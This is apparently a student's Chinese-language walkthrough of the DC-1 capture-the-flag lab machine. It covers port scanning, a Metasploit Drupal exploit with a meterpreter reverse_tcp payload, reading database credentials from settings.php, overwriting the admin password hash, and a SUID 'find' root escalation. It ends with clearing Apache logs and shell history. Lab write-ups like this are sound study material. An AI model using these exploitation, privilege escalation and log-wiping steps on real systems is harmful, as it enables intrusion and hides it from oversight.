DC1靶机渗透
期末周每天都是深深的死感
1.ip地址搜寻
得到靶机地址
192.168.220.129
用nmap扫描端口:
nmap -sV -p- 192.168.220.129
可以看到端口22、80、111、45433是开放的。
通过浏览器访问ip地址
通过观察页面,可以发现当前页面无有效信息,但是有一个重点的地方就是Powered by Drupal
2.扫描主机目录
dirb http://192.168.220.129
3.指纹信息识别
whatweb -v 192.168.220.129
指纹信息: 获取当前靶机的编程语言、网站模板 CMS、服务器信息
通过指纹信息的扫描可以获取到当前的靶机使用的 CMS 是 Drupal,接下来需要去搜索 Drupal 的相关漏洞
4.漏洞利用
1.使用 msf 的漏洞利用神器,在神器中直接搜索 Drupal 模块
Msfconsole
search Drupal
2.使用漏洞模块编号为 1
use 1
3.显示当前模块下来的 payload
options
4.设置 payload
set payload payload/php/meterpreter/reverse_tcp
5.查看需要设置的 payload
6.设置rhosts
7.运行
Run
5.后渗透
1.查看系统信息
sysinfo
2.进入shell,ls
可以发现当前的命令行窗口不太容易输入命令
通过输入 python 脚本让其进入到 bin/bash 命令行
python -c "import pty;pty.spawn('/bin/bash')"
然后再ls
找到flag1
cat flag1.txt
flag1 提供的线索是: 让找配置文件
一般的配置文件在 linux 中以 set 开头,或者.cfg、.xml、.json、.env、.config 结尾
find . -name "set*"
查看 setting.php
cat ./sites/default/settings.php
可以发现有 flag2 的存在,同时发现了有数据库的相关信息
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
需要连接数据库
mysql -udbuser -pR0ck3t
查看相关使用的表
show databases;
use drupaldb;
show tables;
通过使用 users 表,查看表数据,最终发现用户的密码是加密的
select * from users\G;
接下来需要退出数据库,寻找解密方式
exit:
通过将结果扔个 AI 查询发现,通过 hash 进行加密,所以需要先从本地寻找 hash 加密的方式
find . -name '*hash*'
cat ./scripts/password-hash.sh
当前这个 hash 文件主要表达的含义就是,可以使用这个文件进行 hash 值得生成
./scripts/password-hash.sh 123456
之前
之后
hash: $S$Dw63kZIdvKD0NKZEv6FfZ3v4NLifV4A7kJv/DpQHKy3KhNhK/MIW
接下来需要修改数据库中 admin 用户的密码,需要再一次登录数据库
mysql -udbuser -pR0ck3t
use drupaldb;
select * from users;
select * from users\G;
update users set pass='$S$DSQKfeXIoP20ZuP9dFas2SfVenJIdSG.CopZmT61YvGJrxW9//RR' where uid=1;
然后点击 dashboard,找到 flag3
根据 flag3 的提示需要在 shadow 中找寻下一个目标
去/etc/passwd 文件中进行寻找
cd /home/flag4.txt
ls
cat flag4.txt
根据 flag4 的提示信息,想要拿到最终的 flag 需要进行提权到 root
查看当前的提权方式
find / -perm -u=s -type f 2>/dev/null
可以发现使用 find 来进行提权
find / -exec "/bin/bash" -p \;
通过 whoami 命令发现提权成功
一般进入到/root 目录进行 flag 的提取
6.清除使用痕迹
中间件的日志清除
包括 web 请求、msf 漏洞利用产生的日志,需要清除
find / -name "access*"
cat /var/log/apache2/access.log
sed -i '/192.168.220.129/d' /var/log/apache2/access.log
清除错误信息
find / -name 'error*'
cat /var/log/apache2/error.log
sed -i '/192.168.220.129/d' /var/log/apache2/error.log
让数据库用户的密码进行还原
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='
' where uid=1;
数据库日志
show variables like '%log%';
general_log 表示每一次执行 sql 时产生的记录,但是当前处于 OFF 状态,不需要清除
slow_query_log 属于慢查询日志
清除命令行的命令记录
history
history -c